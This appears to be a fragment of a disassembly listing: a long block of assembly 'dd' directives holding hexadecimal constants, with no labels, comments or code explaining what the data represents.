dd 0DD8BE5F0h, 4C433E92h, 6D3F4F88h, 0BC2D0C4Ch, 5500A464h
dd 54A348AFh, 77ABFBD0h, 0D19100CAh, 0BF6A867h, 0AD017F14h
dd 3A1F1574h, 98213819h, 0FCACCC2Eh, 291E0900h, 8CC0AE8h
dd 0F671B4h, 0B62D6AA7h, 340E6C3h, 2A4EE105h, 0A4227E60h
dd 16107157h, 9040095Ah, 0D044E809h, 53E6C002h, 0C2C44503h
dd 43C866E8h, 0FEAB20A7h, 0AC4A138Ah, 0D354EC55h, 0A466C408h
dd 9F4A004Eh, 7CE3750h, 407E6300h, 3854C8Fh, 1E4B98Dh
dd 0C9663AD6h, 28143A6Fh, 55631188h, 0F2562612h, 9049216Ch
dd 5FC78745h, 0E75D1BD0h, 2ED22F8Ch, 88C6C481h, 0EFC0E015h
dd 0B0F4354Ah, 2AD902E9h, 676CBA44h, 0C2091CF9h, 5018FEDFh
dd 0CC01D0D9h, 0D4C213DAh, 21AF3275h, 0C7AC1410h, 0D72C6200h
dd 529AF3D3h, 0FD28009Dh, 0BC823339h, 2000D622h, 40E87B5h
dd 7DAF3B06h, 5ED7A063h, 51F67DF4h, 88783467h, 49694884h
dd 0CCFA2Bh, 0F2DBC3CCh, 62C84B81h, 1A1B9302h, 0D81497BEh
dd 453F270h, 0FFBB1F0Bh, 2E74E1A3h, 4EDB0002h, 549057E0h
dd 17845E40h, 0B11FC14Ch, 88B8444Ch, 0FEF6943Ch, 7E01FD7Eh
dd 0B4D01D44h, 0DEEECACDh, 2566C48Ch, 138094ACh, 2C41DDFCh
dd 55A5DF00h, 65C6D65h, 0E07760B6h, 7674BE2Ah, 9C69D903h
dd 983256ECh, 66126Dh, 61F18EE0h, 662B58Ah, 0A1A8CA17h
dd 935F3C81h, 0C83DB1D1h, 0AABD7502h, 28C87B11h, 9DF4789Bh
dd 2CCF44h, 13AA69CAh, 0E6AF80C5h, 0CA641D3Eh, 45708090h
dd 0EC4027E0h, 0EF005079h, 0E991737Ah, 0ABD304D0h, 901814CCh
dd 4852D138h, 62785751h, 4C7000FCh, 9DFA8CDAh, 0EDE0B59h
dd 38BED052h, 0D827493h, 524157A7h, 63A21EDCh, 0CA5C807Bh
dd 4395074Ah, 604CEE00h, 35F03603h, 4930064Eh, 613C5D6Fh
dd 0C6C20716h, 46578C9h, 1819D801h, 5921EDCh, 0F6EACF77h
dd 0C2FC8009h, 109FE74Bh, 0E80E8DFCh, 0BE5A14BBh, 0D118F408h
dd 4F42F93Dh, 0B44D2688h, 0BB7040BCh, 604A7ED3h, 0ACCC6864h
dd 5A0584B2h, 0D5E8DAA5h, 33E84BAAh, 0A7E9005h, 40ECBAF0h
dd 0B07BBE63h, 16DDC27h, 3441DE70h, 7C202209h, 0CC2818BDh
dd 21DD0186h, 0D497A33Bh, 2ADBF88Ch, 7D072778h, 5E3E286Eh
dd 0E47FEFDFh, 0F8A03B3Ah, 3F9F895Ch, 823C0CDh, 23C8885Bh
dd 5EF58h, 0D3922175h, 3E453195h, 7F24F7DEh, 5C11DCh, 6E443B8h
dd 7CEDF8F5h, 0E7CFCA6h, 0ECA05D78h, 1EA40376h, 0B8C49F15h
dd 0FA168010h, 0CE312Eh, 0F9DC59A4h, 7D0B3ACDh, 0C5D2300Dh
dd 4463381Dh, 0C0816900h, 0E492431h, 7E72CB00h, 0F4018B36h
dd 0F0C8091Bh, 0E0902ED9h, 7803A3BCh, 81FEF1F9h, 0BB60C06Dh
dd 97EE1F3Ah, 0A20AC048h, 99A8CDDh, 0B513BE00h, 2772E469h
dd 94C2003Dh, 0CD33E5FDh, 91A01E17h, 6600FE5Fh, 0CE4EECA1h
dd 0BE4A5712h, 0B2764FBCh, 0F585008Ch, 58C1F86Eh, 9E720224h
dd 0AE8D5445h, 0B7C0EC74h, 3D661Bh, 7B346E8h, 0BCE7204Eh
dd 57283090h, 4FB06434h, 56261B79h, 22644454h, 8F2CA425h
dd 0FF670400h, 57D7BED4h, 426600E9h, 28821E2Fh, 0CB0C6186h
dd 31FBB0C2h, 0E54490F6h, 14C82A09h, 528300DCh, 0CF574B2Ah
dd 4F12EC7Dh, 0F805C37Ch, 0AB852D73h, 38B3D500h, 0FED9F75Eh
dd 22F41268h, 0E3A4049Ch, 69E8DCE2h, 54F9000h, 7B813F43h
dd 0DA1A00D3h, 53CA70B1h, 5800714Bh, 1F0DF103h, 0FA0473Bh
dd 6387CC99h, 780522A0h, 2600A759h, 215DB51Ch, 34AC12h
dd 0F5ED354Ah, 4C17E6F6h, 153BA605h, 10E2F407h, 73DD7E01h
dd 0C3D725DCh, 88A86C2h, 76CE82C4h, 74E44C6Ch, 8374AF4Ch
dd 98BD66E6h, 0C1E3CFh, 1271D874h, 3BF54815h, 0CCE6534Eh
dd 0CFA890Eh, 0BD1CF202h, 0E8D493E0h, 0F1DBEC02h, 7C596321h
dd 5B2888B4h, 34D4C106h, 0B8E497A9h, 0B600177Ch, 0C42B65B9h
dd 0A669EBh, 0EF154E5Eh, 7DD495B5h, 0BDA14500h, 5336C0FEh
dd 0E7182F4Dh, 0AE386444h, 3B418783h, 74E0CCEDh, 26656407h
dd 3DC37CBh, 9FE18590h, 8F0C67F0h, 395E3F00h, 68460B02h
dd 42A40197h, 66CBF816h, 5588D06Ch, 0EF84495h, 6C902EDh
dd 2F0FC09Eh, 0A039F5DEh, 69C77409h, 2644E8BFh, 0A4A5BD4Fh
dd 0F438892Bh, 400D8B5h, 0C7FC8650h, 8E4548h, 6ABA4331h
dd 80A94BBEh, 90F0404Eh, 273E1382h, 0EAC4FD7h, 0DFC11630h
dd 18F218C9h, 6088E34Ah, 0F01412F6h, 0DF7A05F9h, 3858E007h
dd 2890FF00h, 0DD013043h, 0E75F0B8Dh, 0C000BC66h, 51461034h
dd 64F9AB2Ch, 79C65D60h, 0BCF025EAh, 0EC0344F1h, 0F97EA643h
dd 6ACC8258h, 0FCEF019Eh, 0AC4EC50Bh, 0B0883A15h, 8050009Ah
dd 8FFF4709h, 5091F67Dh, 0C061E00Eh, 93B20368h, 0BDC22F59h
dd 420C1494h, 0C646EF52h, 0C14A13ACh, 0AD283457h, 0C7EC00A0h
dd 0FBEF530Dh, 634C001Eh, 1BF87DC5h, 0C207F77Ah, 0A94986ACh
dd 60AE5AD5h, 1074BF68h, 18A13Dh, 3E6BACCCh, 5B99DCh, 8D90EED3h
dd 65B32A71h, 0D250BB02h, 0A7B51BB9h, 68F9BC0Ch, 720A3D0h
dd 40655D7h, 0C2DF61F2h, 85F868DDh, 0A8CC4C57h, 0ECB0844Eh
dd 7B301095h, 0E29F3E96h, 7DE99200h, 0F57381E6h, 0B9775D00h
dd 501E9B9Ah, 0FC70EB8Ah, 49CD6BA4h, 0F0455061h, 0BC4F55BDh
dd 1CF84C20h, 0B9753A9Fh, 0A4403803h, 0BAECBD2Dh, 0C58DE400h
dd 0B5CDBE37h, 0E85CC866h, 4EE3C030h, 2B6C482Bh, 25D850E6h
dd 875DA492h, 81A9FF6Ch, 0C8265E2Ch, 89134180h, 654E6EE7h
dd 808DFB00h, 6463F015h, 0E4A45171h, 0BF880029h, 0A2224C64h
dd 23404874h, 133DC8A0h, 2FD050h, 6BE1FECCh, 71D5499h
dd 0BC42DB05h, 0D26EEC43h, 237300ECh, 3E70CB67h, 3D0B9015h
dd 454926E1h, 403B07FCh, 557D203Ch, 378DFCDh, 0E490E09Fh
dd 0A4205C56h, 0B281488Fh, 2E141894h, 1A998420h, 28402C0h
dd 0D4C28695h, 2C19A491h, 802C3D4Ch, 62F8A388h, 0F543BE5Fh
dd 38C7EC3Ch, 2365C059h, 2E00A40Ch, 5DAE676Eh, 0FC31A7h
dd 0D353FF60h, 0DDF36B3Bh, 0F0483002h, 0C01F50B1h, 0FE85E4h
dd 0FBAAD853h, 42A3CC86h, 9543CD3Ah, 1543F58h, 540E0B4Ah
dd 0F7F0139Fh, 9D9713B9h, 6FD04952h, 0F9C0504Bh, 8FFA74ACh
dd 0A2C08400h, 254EE122h, 21714E60h, 8E7CD3Ch, 384B8058h
dd 0A19F25E8h, 5FCF4570h, 18F06F8h, 0D01DB3F5h, 0C0673C1Fh
dd 700E9414h, 82CFC81Eh, 64CA77BDh, 336C2768h, 10014C2Bh
dd 0D0C3BD1Bh, 8F7F4538h, 0F65C92B5h, 0CF8900DCh, 0A149B9F3h
dd 48F82449h, 8DC219Ch, 10AF3FB4h, 0FFACD8h, 9BB9B7D9h
dd 0CAAAF8A5h, 8309453Fh, 7B2A688Dh, 8CBCA4DBh, 4C484D80h
dd 6900AE3Eh, 7990777Ch, 49DEC135h, 1F00C8E2h, 43D3FDB4h
dd 55603A1Ch, 3704F38h, 2E9CA476h, 14A8CCD7h, 693B4449h
dd 3193AC58h, 0F105E46Ch, 0DE2DCCF6h, 71A08225h, 93CA03A8h
dd 6BB35A06h, 0D1F08200h, 0F96919FBh, 1C47157h, 760C0E52h
dd 0F05C94CBh, 100C5A07h, 11117360h, 1E1B27D0h, 7BCF1818h
dd 6138B814h, 824E8FA0h, 0C4C542D1h, 70F674h, 7EFEE8DCh
dd 0F846D51Eh, 0D7FD8201h, 0A0AEA62Dh, 2742F8h, 7D98EDE2h
dd 2496741Fh, 438DB500h, 4A382E7Eh, 0EEA7BF3h, 7630E43Dh
dd 5BB932E1h, 844E6Ch, 3887DEF1h, 2312123h, 4FEDF2A6h
dd 8C2021Eh, 0F5002CD9h, 86C942D9h, 737577A2h, 5770098Dh
dd 0CCF15248h, 0C184BC10h, 0C004F8DDh, 23F8BD77h, 437F1691h
dd 5D5CD09Ch, 7008EF9h, 22A5DD95h, 9DC8068h, 3BBCF6EDh
dd 4210C000h, 0BD0F11E5h, 3304B94Bh, 586544E1h, 0A4B28478h
dd 41573814h, 721020CEh, 23F875B7h, 0E502E81Ch, 0CEC3F6C0h
dd 51457C53h, 2812A8C1h, 94851AA0h, 8034EC1Bh, 0AE90FCEh
dd 30450020h, 33F6CC2Fh, 3D3BAC23h, 0C02C0156h, 596BB362h
dd 70307035h, 220A884Fh, 92930703h, 0B53EF45Ah, 0E580F0E8h
dd 754FC032h, 9200FAF2h, 76A281B4h, 2B8E912h, 408B608Dh
dd 0C4CEBE2Ch, 0B1306C45h, 9C0B00BDh, 0AA29EA0h, 0C5E2E753h
dd 0D20097F6h, 0DFCA6D0Eh, 1D3B3308h, 4202AED7h, 9D639574h
dd 30790C89h, 4CBB9785h, 1631B4B4h, 206894F0h, 4F6CC1C0h
dd 0E664AC03h, 220B3CB0h, 7E005291h, 90E2312Fh, 12D1119h
dd 0ABCB98D4h, 5081D02Ah, 47C5DE24h, 3B1F5901h, 0A10E6645h
dd 4B6C0889h, 4E42A4C4h, 68C43625h, 765FC800h, 17BB6087h
dd 0D47D01DEh, 241E8A78h, 0D0223E6Ch, 5E58CA9Fh, 0C5B8CD84h
dd 0A9F60009h, 0F5760BCDh, 4891C690h, 2F1B60BEh, 1B1C70E2h
dd 0BB1D0133h, 72601555h, 5D851C00h, 0A737D3E1h, 0F608C28Ah
dd 20E4656Fh, 8B0280A6h, 0D97D3B8Eh, 1F34DEAAh, 60BC648Dh
dd 915D924Bh, 59B12200h, 991D6052h, 94F716E2h, 8080F843h
dd 1720C8A9h, 34840351h, 6D96F4ADh, 6CCFF0F0h, 7DDA5E00h
dd 0B8515918h, 0D7460026h, 0F3B6E78Ah, 30006898h, 0ECDFB0A9h
dd 0B5CCDDC0h, 0F3D47C38h, 7B6BCB0Eh, 0DC2A806Eh, 130308E6h
dd 133B4EE2h, 1B5C327Ch, 3B002819h, 262414B3h, 0F82D1CDCh
dd 0E7494AACh, 0D28E002Ch, 786D16DFh, 0E54B2D4Ah, 0B7086C51h
dd 0F82613D7h, 7E3A8180h, 9E23CB8h, 201E1484h, 38CC198Ch
dd 35944B40h, 0FB1624C9h, 1F6C20D5h, 0E8004528h, 0ED629AD9h
dd 1AA94FB9h, 50DCAEAFh, 0A08C9BDFh, 4B7331FDh, 6ED4DDBBh
dd 0A4BC9035h, 534F111h, 8AE61E3Eh, 7D5AD406h, 61E4B630h
dd 84C5794h, 4050ED3Ah, 0B8F35C5Eh, 40F41370h, 39510B21h
dd 0FFDB2C80h, 0CF4E349Dh, 0EF10E0A4h, 0A1E0607Bh, 0E000B186h
dd 7AC7BE94h, 0AEA831h, 0D002557Bh, 73E67920h, 58416422h
dd 89646926h, 0CF88B42Bh, 0A05B6900h, 5C055ADDh, 1FD270FAh
dd 0B1E1640Fh, 110B5339h, 282B6569h, 4B009B48h, 1051CD6Fh
dd 489358Ah, 99D25DBh, 118C145Bh, 0C1013264h, 634A6C33h
dd 1C206BF0h, 1CC6176h, 952E1281h, 7C5AEBD9h, 0D4B011D0h
dd 884AC114h, 254CA4Bh, 9E99FFD8h, 6D989136h, 433C24F2h
dd 9826A690h, 48B47915h, 16165854h, 8CF4AC07h, 16F66908h
dd 66A4D9h, 0F5B5AA84h, 43059920h, 0B3CDBD12h, 0ACF03C13h
dd 0B6BF4B70h, 6244264Ch, 6DE62900h, 5AA6B0Ah, 8497C06Ah
dd 159C0473h, 0A460EF5Bh, 1F0BAE4Ah, 403A8C39h, 0FD7072CDh
dd 481D5D8Ah, 64C46D4Fh, 0E410A5DDh, 13CD117h, 0C9663B2Ch
dd 7107C8Bh, 166469D7h, 56514448h, 8C13E0E8h, 6240C84Eh
dd 2D3B1D00h, 8B4838D0h, 25DE69Eh, 0B9802913h, 2BD7B079h
dd 0D16405A0h, 0C8928CF8h, 11009834h, 5E6709A0h, 25BBA53Bh
dd 0F0F8153Eh, 9566901Eh, 3D878C29h, 2CF733A8h, 12C113C0h
dd 0E9A401F5h, 9D473AB9h, 0EAC4811h, 1DAE3261h, 903F5E90h
dd 300F5228h, 433680h, 417E67B4h, 0BABC82B5h, 0D9B61509h
dd 8ABCF62Eh, 83E80DB0h, 0B14E3A63h, 246A52BAh, 974064FCh
dd 1F1EE5h, 5B64531h, 0E890B520h, 0DDCF2200h, 0C863C3D9h
dd 0B4D1007Bh, 4CE3AD60h, 8209423Ch, 72E9C0EDh, 40789CFCh
dd 0AF5FAC51h, 306D6401h, 0FFC4093Ch, 0C763A841h, 949DD808h
dd 0C0630948h, 0D4C03D67h, 0BE125C07h, 0ECE4CB71h, 1E3B19AFh
dd 0C92E88Ch, 0E4618AF2h, 7F1F12DBh, 0B4647090h, 73016DEEh
dd 5868B6Ah, 95D493D8h, 141E0439h, 0C349B9F0h, 0FCD57C26h
dd 0F54C058h, 0AA6201h, 0ED588E8Ch, 68DFC28h, 0E439CA01h
dd 49176F97h, 7CFFCF40h, 141909BBh, 3091E8C2h, 4C39C7h
dd 0B15D825Bh, 2DAFAA84h, 58C6BECDh, 534B4309h, 8908F634h
dd 0E49AE064h, 178BD074h, 39508240h, 646800CCh, 14A9D62Ch
dd 98639Ah, 0A899327Ah, 0F8ABF66Fh, 0B76200A6h, 43EBBEC9h
dd 34B11AE1h, 0E922823Bh, 515988F5h, 6A033D9Ch, 935DF09Bh
dd 2BEB4189h, 2D860C8h, 0AAE5CAE2h, 0B7E37516h, 8830C021h
dd 0C280D655h, 501E3CF1h, 29E8011Ah, 4167C3F7h, 7B030C8h
dd 98395700h, 7334F08Ch, 50891CCh, 481B01D7h, 9564E2F8h
dd 4530F640h, 0AA0E06B5h, 0E5E615C0h, 14BA28E0h, 0F9036C9Ch
dd 5748AE2h, 0DD106D98h, 3F049300h, 60B54637h, 0FE61F1Ah
dd 30A3000Eh, 5D109235h, 0C4918125h, 27053E60h, 62B15184h
dd 0D36481BAh, 896F08C5h, 1081881Fh, 464255Eh, 0A8441300h
dd 0D7E566B3h, 3A678F0h, 0F81AD4AAh, 7D90428Ch, 49C0E3F6h
dd 0BC756EE0h, 848E4F57h, 0C4AC0418h, 0D5F02196h, 6B221472h
dd 0CFCDA212h, 86C74CC8h, 620918A0h, 263C4484h, 0B8CC4A4Fh
dd 81B48E2h, 0C022EACEh, 7082CFD5h, 0AC7A4E57h, 6EB28D1Ch
dd 5C4ABFD2h, 5F925040h, 449204A2h, 28684440h, 0C278C094h
dd 19D999DBh, 4E00A9FCh, 3F9AC7C8h, 5597B2h, 0CD7C928Bh
dd 0E814EF0Dh, 1F84E01h, 177969B8h, 0F290C8h, 0FEDE27FDh
dd 8DCA618h, 0CFA3E401h, 0C62B0985h, 0BE3AD0h, 3B7F5C2Fh
dd 0C0B76643h, 0CD332E1Eh, 95E28Fh, 0E901492Ah, 9BC30C58h
dd 3A408E8Bh, 86C04B10h, 0DCD2E300h, 61409F6Bh, 4A7FF303h
dd 1CD18E7h, 0DFDACE61h, 8094A5C3h, 91BFCF10h, 0D31C53h
dd 576B50Ah, 588C2355h, 0E20B400h, 6FC301BEh, 3A1E7D09h
dd 0DCC8FDCDh, 972F7160h, 89C0A5BAh, 8D4F2DDEh, 65903A60h
dd 939D2403h, 988BA640h, 7FDD7100h, 1C42A5C8h, 1AF11E36h
dd 0EC234088h, 4A012806h, 0CB1BCA18h, 32C366B1h, 22805BDEh
dd 0A6123819h, 0EA836481h, 4C01C458h, 0E4E89B07h, 0F060132Eh
dd 0A4CA2409h, 151E0B0h, 1FC547C0h, 0F3FEB183h, 80414A99h
dd 0F6B66549h, 0AB8E9B96h, 2DC3E0D0h, 35D0CFF2h, 32F0A70h
dd 9700D038h, 4DB5079h, 8540C714h, 562DC1DAh, 3CCE182h
dd 344DFB88h, 3089D4C2h, 63518E88h, 13183107h, 4910C6FCh
dd 0C31CED36h, 95DF7DF4h, 838819B1h, 969ACF78h, 0B1990DE7h
dd 0F0498246h, 0CA0A98Ch, 0B688864Fh, 0B7030C93h, 9CE81288h
dd 0C311DC88h, 0B65D64B1h, 0D6E76DF0h, 9C930600h, 5711F7D5h
dd 1D317299h, 0C09ABAC1h, 5304C944h, 7A006380h, 64BCA097h
dd 24F1223Eh, 184C090Ch, 8843E886h, 0A748582h, 0EB1D8C20h
dd 0B99800ACh, 2C540925h, 0E0C46802h, 0CB3196E5h, 0DB5A00C8h
dd 200E507Ch, 12F514C9h, 6924C8B0h, 0FB4A04A8h, 14FA4A17h
dd 2E831609h, 6A04840h, 2109E12Fh, 8E154300h, 0EE931222h
dd 51AC0306h, 3F84F0F6h, 0A4B19BE2h, 24640844h, 604C1AE5h
dd 4A8EDDEBh, 0F1218966h, 0FA5A2190h, 1EA3E308h, 0D051372Fh
dd 0CDB31B48h, 0B6004E98h
dd 9C80C8Eh, 0C468BE19h, 2B955B0h, 10177CDCh, 0A27348F6h
dd 972CA11Bh, 5A510FD4h, 60205C2Eh, 48B6D877h, 2A1C560h
dd 14D2764h, 6F73FF6Eh, 0BF0DE12Bh, 0AFD38051h, 0AE94EA62h
dd 0ADF686h, 9AB76854h, 0A0457E4Ah, 93126E98h, 0EC41CEC1h
dd 55360924h, 8D5CF8h, 93032D7Bh, 11F06554h, 94C14B2Ah
dd 99248100h, 5BE3DAD4h, 0C5501EECh, 974842F2h, 0AC91B48Ch
dd 0DC23E245h, 7699000Ch, 0FB363161h, 0D90279CBh, 0C4943421h
dd 0F0A44839h, 9380A059h, 3C208AB5h, 3E7C1604h, 0E7B98100h
dd 0A213F237h, 24B2E8FAh, 64803B93h, 200F2255h, 0BDE134B0h
dd 0CD10B304h, 0B4C13FECh, 0DD010419h, 8C298026h, 32E33927h
dd 0C48803DEh, 153BB7C5h, 0B19728C0h, 0B41DE826h, 8EC40169h
dd 38448D46h, 2900241Eh, 0C9DA53Ch, 7DF5014Ch, 5E9F1888h
dd 2061C96Ah, 6C865224h, 819939EFh, 90EEF440h, 88CC390Ch
dd 0AA722D82h, 74646797h, 110B20A1h, 7980AB2Fh, 0DF4A1FD5h
dd 0EF1D5E83h, 2D49D04h, 0ACFDCAF8h, 743950h, 9C17CDB4h
dd 4C159697h, 52B9F01h, 0DB6C9302h, 604B1430h, 0EFDC31BFh
dd 0ED02A826h, 3E3C2CE6h, 0B2D84078h, 7F7563h, 1DE468F3h
dd 2174AD1Eh, 113898B0h, 0E0800023h, 4C04CF83h, 7F761F0Ch
dd 5FB800F6h, 0A1422213h, 332F8DA0h, 0B29B9000h, 6C4897ACh
dd 0B4E207C0h, 0EA93B32Eh, 0CCBC64F4h, 4B88B08Ch, 888F8AC2h
dd 0E529F2E1h, 4C6360E7h, 0BEEB04Ch, 282BB7Dh, 0C448DA0Ch
dd 21F60EACh, 0FF1EFC69h, 0D7F9CD80h, 5B811AB0h, 0F0F2B70Ch
dd 0C847188h, 83A6FA59h, 3F046A11h, 61D61F7Eh, 302094C2h
dd 0DA8B8756h, 667E1011h, 0E162C3E0h, 11B8BFD9h, 0B6ED1056h
dd 0E0DE0061h, 325BB8Bh, 3F0CC03Dh, 0C0A5637Dh, 0F9AF602Fh
dd 0BC1FBE5Dh, 80D02C3Ah, 0E4B0A5DDh, 30AC9046h, 4A083DB8h
dd 62FB5E91h, 0C02004Ch, 0D960C95Dh, 2F970FF4h, 6A6788FBh
dd 5B48434Dh, 6100ADCBh, 298A7801h, 1292AE9Dh, 8B09EF5h
dd 446413BCh, 2C096541h, 0A75424DDh, 0FB0060B1h, 80FE484Ah
dd 0ADA50213h, 950AC9D4h, 0A201E468h, 98305B89h, 0B74D0AB6h
dd 62BC0DF9h, 0C8C0C141h, 99C0A291h, 0B0EF3FC4h, 0AE59261Dh
dd 0CDA69070h, 604C29F1h, 99020092h, 0A50430F2h, 0A22423E0h
dd 0CD01BCD7h, 66C35BE8h, 0C41EA823h, 0D9964322h, 82B5E349h
dd 9A22FC18h, 20E68Dh, 82138B93h, 25F6B240h, 9890A09h
dd 0A6B41020h, 7A39C0FDh, 1339EEA4h, 0AE0A8E14h, 0B88710A4h
dd 9A8A4788h, 293E4491h, 6512844Eh, 0A151481h, 8B876600h
dd 161ADC12h, 0F3B73042h, 519C98F7h, 9AA630FBh, 0CD150511h
dd 0E0DCBA00h, 0F964D647h, 95D10017h, 29FD41D9h, 4EB82D5Ch
dd 0C8C8EE5Ch, 1768B23Bh, 20884226h, 9B251BC1h, 581498h
dd 0DC12EB49h, 0B1780EA4h, 10901BE4h, 628C250h, 2BF11045h
dd 99F04865h, 92A40430h, 80978EC7h, 830C8F49h, 34D58100h
dd 0B624A020h, 9A077D57h, 4D031C1Ch, 0B706F923h, 0F1935D8Eh
dd 6127DC31h, 9670D7A4h, 0B6072499h, 0BB0A00BCh, 9AB2CEF2h
dd 20C3BA24h, 0E0C8A210h, 288A5A92h, 9A24BB22h, 0E54FC498h
dd 0C48FC47h, 942D94A3h, 0F225F420h, 488039E6h, 0D38848h
dd 1A578A69h, 0A5AADFDh, 0D7769214h, 900621C8h, 0ED19E84h
dd 0C8313848h, 20692F59h, 8F40D9ACh, 0B19672BAh, 0DE4B0CD0h
dd 8307E729h, 0C93E257Ah, 0A7CB7C0h, 0C24305D2h, 1C95D3DCh
dd 0F3BF00C4h, 0CA4D579Eh, 8F540400h, 883B0A8Dh, 16DAF614h
dd 268BD2Ah, 18FF7A6Ch, 3A3AE22h, 7900B12Fh, 0CEA73438h
dd 94C5E1h, 538744CDh, 0AED234Eh, 6EB87B17h, 8D83818h
dd 25A344CEh, 1858C542h, 59B50B71h, 54A2C1E4h, 54C2C7ACh
dd 7E5D64C8h, 4365DA00h, 0DF5C061Bh, 692E0A96h, 67BC18E7h
dd 97C3C1DBh, 0F6029DDh, 0E1E2DC98h, 183F071Dh, 292581E7h
dd 73B320ECh, 31ED252Fh, 48764C05h, 989AD74h, 0EA7C9323h
dd 5B82181h, 50D120DAh, 0BB661F03h, 3E338952h, 42C138B8h
dd 6521A428h, 0A310B72Fh, 1400F51Ch, 19EAFF6Fh, 7B4675h
dd 17CF1578h, 359D66F6h, 0F48EE309h, 477C02EEh, 22C46695h
dd 2577CE24h, 0D49F5712h, 4015748Eh, 28211CFEh, 9F905026h
dd 3E13A1DEh, 1EB50004h, 76588C48h, 2ABC01AFh, 0B6B74511h
dd 622FDD89h, 866800D8h, 0C39F4D9Eh, 23520F08h, 0C2E79825h
dd 0A27C934Ch, 38642DFAh, 952C71E8h, 3D40A4DDh, 10F60CFCh
dd 214A8709h, 0C5A91E7h, 71A8929Ah, 13F676DEh, 12C6B71Ch
dd 2214CBA4h, 0ACDC48AEh, 77F86E83h, 0BC3994D0h, 4155A140h
dd 80502CA6h, 445F1CDAh, 0B18500B9h, 9B23011Dh, 0B8A58F28h
dd 11C9488Ch, 67D01D1h, 93B6CA8Ah, 5E6051E3h, 3444C16h
dd 8FEDF900h, 0A207BD5Ah, 0D51C1295h, 0D8ACC4A4h, 5C48B178h
dd 94129F40h, 844178C8h, 54930609h, 0DB9C22CDh, 8707309h
dd 0F46A8058h, 0D12A0904h, 8D0B64F2h, 2C10A55Bh, 1813A9F5h
dd 7800F654h, 0F2BFF7DDh, 55150122h, 0EF4BB50Fh, 0D484F676h
dd 0C7B032EBh, 8F5D0878h, 4ED59E2h, 0B8B2F9h, 6C2D8FDEh
dd 25536D93h, 0D0101CE3h, 4830DBFAh, 7256F1BFh, 5826071Ah
dd 623CB06Fh, 0F8612BBAh, 89850C42h, 13B47057h, 1DA8040h
dd 9D0F0C9h, 0FAE240DEh, 0DAC70079h, 8D6203BFh, 0F3E9215Dh
dd 0F10BB991h, 80192909h, 10F20D0Eh, 8B307D40h, 543F80AAh
dd 97D71243h, 44242348h, 398430C5h, 0EA7B3210h, 50972926h
dd 0B7C89A10h, 4A8EDA83h, 6389078Ah, 1E9B8F79h, 0A4A47289h
dd 0B1F8B0C8h, 0B0944B7Dh, 0F424AC44h, 25008B64h, 61C8D022h
dd 798D631h, 8AA49130h, 0A860B1B7h, 0C3DC608Fh, 0FF48B900h
dd 8129F84Eh, 0EF7601ADh, 919B9079h, 0DB2C42B7h, 0E0264520h
dd 0AB5600C8h, 603CAA89h, 271432F8h, 21D89806h, 5BC4BC4Eh
dd 0A9EC283h, 30282054h, 17C987A6h, 59000E0Ch, 0F488C192h
dd 0F65FC6h, 0E9D86B95h, 8EB6EF44h, 0C8E04B58h, 0FC044B97h
dd 0B7EC4589h, 42DA58A0h, 26352252h, 6070662Fh, 43F1FE14h
dd 1E216717h, 0F9B9E200h, 58BA3F4h, 0DC991A9Bh, 2ADCCC02h
dd 2F68AF13h, 0C31E8090h, 4D150186h, 0BC24F970h, 489CD44Eh
dd 53B3C40Fh, 10DCB41Ah, 4B18C04Ch, 1CACF9DAh, 3177D10Eh
dd 5A6680E4h, 57E697h, 6749EF52h, 7DFA8F4Bh, 39555300h
dd 0A14E6BA7h, 0CADB17C3h, 0FCA00859h, 71976380h, 99B71F45h
dd 1033815Ch, 0EC735B5Dh, 9FDC393h, 0F83927CBh, 0D48680Fh
dd 0E925DD0Ch, 56E002EAh, 38D079E6h, 0F8558FC1h, 0B400FC52h
dd 7A29034Fh, 917F594Bh, 511C82B0h, 8CA0AA2Fh, 0F018527Bh
dd 76049D72h, 99B96F9Ch, 0D12A7C82h, 12F21118h, 0B8322F09h
dd 18271903h, 208B41B3h, 2D229D80h, 3CF05839h, 2160F930h
dd 0E888408Eh, 884381A1h, 0E2011E8h, 1C409766h, 0A692AA31h
dd 4A00C8B1h, 0C0512CC9h, 333C0004h, 1F6B5C38h, 37138CB3h
dd 60086577h, 0FB6684CBh, 957C1DBh, 223423AEh, 7DC2C74h
dd 0C4A2498Ch, 0EE01EF01h, 84331BE6h, 8DEC212h, 0DC8C91FCh
dd 0FE563922h, 2E740077h, 9667398Ah, 5300201Dh, 0DC34E7Dh
dd 0F3089BACh, 0C8EAF893h, 78B98A58h, 86C02C04h, 0E481FC48h
dd 253D1337h, 21E25060h, 0BA1317FAh, 2EF82428h, 527D215h
dd 813F8A61h, 8BC2FC8h, 0F14D444Bh, 0B4FEBCB0h, 9A109F89h
dd 7300E0D5h, 0C0AEBDC8h
dd 11179Bh, 0EC377956h, 48D91334h, 0AC00CCB9h, 0EB2AE62Dh
dd 57AB034Dh, 0C5A725F3h, 8C4BA990h, 0A03C20F7h, 3CA8C0B9h
dd 0FE8B244h, 0FC4DC2CBh, 5E16180h, 600E92Dh, 8120BBF1h
dd 0A18240FEh, 970CE698h, 0BF252184h, 53008311h, 0FD603082h
dd 80A15B19h, 0A6F8546Ah, 0A0DC2D34h, 66895970h, 0B21301D6h
dd 3216A935h, 7926E8EDh, 7B0B3902h, 50F7D148h, 0D70922A4h
dd 0C9AC2F30h, 0B82DAAh, 0E54B6DCBh, 0BCE67EEAh, 3C9C562Ch
dd 0B853BF90h, 6C42007Eh, 20393AEh, 4B094CFDh, 1861E499h
dd 0B1D8F234h, 4200BEB8h, 983068E3h, 6310605Bh, 6221E572h
dd 0B1129C91h, 0CB409742h, 709038ECh, 444CC45Ah, 38371DCh
dd 1DC65BF6h, 2A801666h, 0B30BD8F0h, 4EE45D15h, 0C64830D4h
dd 0FD0E1611h, 67DEB801h, 9709536h, 42B046FAh, 0E1A1129h
dd 30264B7Ch, 0B923B6ACh, 2B52217Ch, 7454590Ch, 0B6DD1740h
dd 252E807Ch, 9B5719AAh, 0CCA92F0Bh, 779C982Ah, 0E93C0167h
dd 6F0D2724h, 829CFCD4h, 940076F8h, 1F7E3215h, 1603199h
dd 9740668Bh, 0E1D36564h, 1461D214h, 0F4A04D8Eh, 2409C182h
dd 40A01830h, 84B7D7E0h, 9165B244h, 7ECB806Ch, 0BD2271C3h
dd 81EAAD26h, 0BC3D4800h, 1ED6F005h, 0CA8AE2CCh, 28742DF3h
dd 0B789235h, 0A5351DB0h, 0C50C3083h, 68D22AC3h, 0A8884478h
dd 5103A7CCh, 93B2B3FBh, 0A7F4DBh, 8F0EC24h, 0DC0B81A9h
dd 1390C404h, 3037975Bh, 0F98F41C8h, 474CD8B0h, 101BB06Ch
